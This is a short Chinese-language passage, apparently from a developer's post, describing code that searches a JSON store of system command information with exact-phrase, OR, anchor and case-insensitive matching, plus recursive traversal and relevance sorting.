1、代码功能概述
这段代码的主要功能是对存储系统指令信息的JSON数据结构进行查询和处理。为了提高用户的搜索体验,代码支持了一些常见的高级搜索功能:
- 双引号精确匹配:双引号中的关键词必须精确匹配整个词组。
- 空格的OR 逻辑:允许多个关键词中的任意一个匹配。
- 开头/结尾匹配:支持用
^
和$
实现开头和结尾的匹配逻辑。 - 不区分大小写:关键词的匹配过程中忽略大小写。
- 递归搜索和排序:支持对多层嵌套的JSON对象和数组进行递归搜索,并按关键词匹配的数量对结果进行排序。
2、当前代码
以下是我目前实现的代码,它的核心包括几个主要步骤:
- 解析查询条件:将用户输入的搜索查询条件解析为包含精确匹配或模糊匹配的搜索词列表。
- 递归搜索JSON数据:遍历JSON数据,检查每个键值对是否符合查询条件,同时支持对嵌套的对象和数组进行递归处理,根据匹配到的关键词数量为对每个层级添加排序标签。
- 匹配和排序:根据排序标签进行排序,优先展示最相关的结果,并剔除分数标签以及无关节点。
